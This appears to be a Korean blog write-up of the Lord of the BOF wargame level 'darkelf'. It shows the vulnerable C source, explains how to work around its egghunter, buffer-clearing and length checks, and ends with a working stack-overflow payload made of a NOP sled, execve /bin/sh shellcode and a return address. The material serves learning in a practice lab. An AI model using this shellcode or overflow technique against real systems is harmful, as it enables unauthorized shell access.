728x90

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

코드를 살펴보면, egghunter와 bufferhunter, \xbf주소 조건이 보인다.

또한, argv[1]이 48을 넘을 수 없으므로, 48자로 작성해야한다.

bufferhunter에 의해 buffer엔 shell코드를 넣을 수 없다. 그러면 argv에 넣으면 된다.

스택은 총 48바이트이므로,

nop*19 + shellcode(25) + argv[1]주소

이렇게 넣으면 될것같다. nop을 감싸서 shellcode를 넣어도 되지만, 어차피 주소가 많이 벗어나면 의미가 없으므로, 

정확한 주소를 구하는게 편하다.

 

 

 

/*
        The Lord of the BOF : The Fellowship of the BOF
        - darkelf
        - egghunter + buffer hunter + check length of argv[1]
*/

#include <stdio.h>
#include <stdlib.h>

extern char **environ;

main(int argc, char *argv[])
{
        char buffer[40];
        int i;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));

        if(argv[1][47] != '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }

        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }

        strcpy(buffer, argv[1]);
        printf("%x\n", argv[1]);
        printf("%s\n", buffer);

        // buffer hunter
        memset(buffer, 0, 40);
}

 

darkelf.c 파일을 darkblf.c 파일로 복제한 뒤, argv[1]의 주소를 출력하는 코드를 추가하였다.

위 주소와 코어분석시 주소를 비교해보자.

코어 분석시 나오는 주소는 0xbffffc30 쪽이고, 수정한 코드로 구한 주소는 0xbffffc3e이므로 

코드를 수정해서 나오는 주소가 정확한것 같다. 하지만, 이 문제가 난이도가 낮기에 코드를 복제&수정이 가능하지 

다른환경에선 가능할지 모르니깐 여러 방법을 알아놓도록 하자.

 

이제 구한 주소로 페이로드를 작성하면, 

./darkelf `python -c 'print "\x90"*19 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x3e\xfc\xff\xbf"'`

 

728x90

'pwnable > LOB' 카테고리의 다른 글

LOB 8번  (0) 2020.07.25
LOB 7번  (0) 2020.07.25
LOB 5번  (0) 2020.07.22
LOB 4번  (0) 2020.07.22
LOB 3번  (0) 2020.07.19

+ Recent posts